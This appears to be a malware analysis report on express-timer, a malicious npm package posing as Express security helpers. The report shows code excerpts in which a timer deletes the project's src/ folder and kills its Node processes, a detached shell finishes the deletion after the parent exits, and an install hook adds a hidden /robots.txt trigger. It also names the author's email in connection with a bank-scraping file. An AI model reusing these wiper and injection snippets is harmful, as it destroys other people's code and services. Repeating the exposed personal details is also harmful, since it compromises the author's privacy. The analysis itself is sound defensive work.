express-timer bills itself as lightweight security helpers for Express, but ships no helpers and exfiltrates nothing: it is a dead-man's switch that, a minute after install, deletes the project's src/ and kills the Node and PM2 processes running it.
Package metadata
| Field |
Value |
| Name |
express-timer |
| Versions |
1.0.2, 1.0.3, 1.0.5 |
| Description |
Lightweight security helpers for Express |
| Author |
Your Name |
| License |
MIT |
| Main |
index.js |
| Scripts |
postinstall: node scripts/inject.js |
| Peer dependencies |
express >=4.0.0 |
| Dependencies |
express-self-destruct1@^1.0.0, express-timer@^1.0.0 (itself) |
| Repository |
none |
One wiper, two triggers
Two triggers live in two files: the timer below arms on require, and a postinstall script grafts a /robots.txt handler onto your entry point that re-runs the wipe on demand over HTTP (the elaborate scheduler branch dies on load because the package never declares the library it needs). The deletion hardens release to release — 1.0.2 kills then deletes, 1.0.3 deletes first so a hurried Ctrl-C cannot save you, and 1.0.5 detaches a background shell that outlives the clean-exiting parent.
// index.js — arms on require, no trigger, no condition
scheduleDestructionAfter() // no arg → setTimeout(selfDestruct, 60_000)
// selfDestruct() — buildDir = join(process.cwd(), "src")
await execPromise(`rm -rf "${buildDir}"`) // wipe the source tree
await execPromise(`pkill -f "node.*${process.cwd()}"`) // take the running app down with it
// index.js 1.0.5 — the wipe detaches and outlives the parent
const child = spawn('/bin/sh', ['-c', `sleep 2 && rm -rf "${buildDir}"`], { detached: true, stdio: 'ignore' });
child.unref(); process.exit(0); // parent leaves clean; the orphaned shell still nukes src/
// scripts/inject.js appends this to YOUR entrypoint; ${appVar} = your express() var
app.get('/robots.txt', (req, res) => {
if (req.query.verify === 'destroy') { _boom(); res.status(200).send('OK'); }
else res.send('User-agent: *\nDisallow: /'); // looks like an ordinary robots handler
});
|
Trait |
What it caught |
|
objectives/impact/wipe/disk/mass-delete |
deletes <cwd>/src — armed at import and again via the grafted /robots.txt route |
|
objectives/impact/services/stop |
kills the project's Node + PM2 processes (pkill, pm2 delete all, taskkill) |
|
objectives/command-and-control/trigger/activation |
?verify=destroy fires the wipe on demand over HTTP |
|
objectives/supply-chain/install-hook/scripts/lifecycle |
postinstall runs the injector, which appends the self-destruct snippet to the host entrypoint |
|
objectives/supply-chain/metadata-anomaly/manifest/npm |
install hooks with no repository; mature version lacking provenance |
|
objectives/supply-chain/metadata-anomaly/package/npm |
missing standard metadata; placeholder author, no repo |
The orphan file — ibbl_statment.php
Every archive also carries a file no code loads: a 570-line scraper for the Islami Bank Bangladesh agent portal that signs in with the author's own credentials in plain text at the top, so a real banking password (masked below) traveled out with the malware when he published a whole working directory to npm. The author who built a tool to destroy other people's code shipped his own bank password along with it.
// ibbl_statment.php — orphan at the package root, imported by nothing
define("BASE", "https://agent.islamibankbd.com");
define("USER", "mohiuddin767272@gmail.com");
define("PASS", "So•••••••"); // author's real bank login, masked here
|
Trait |
What it caught |
|
objectives/credential-access/financial/account |
hardcoded-login scraper for agent.islamibankbd.com |
|
micro-behaviors/communications/email/send/mail-func |
mohiuddin767272@gmail.com |
|
micro-behaviors/communications/http/curl |
curl_exec against the bank portal |
Indicators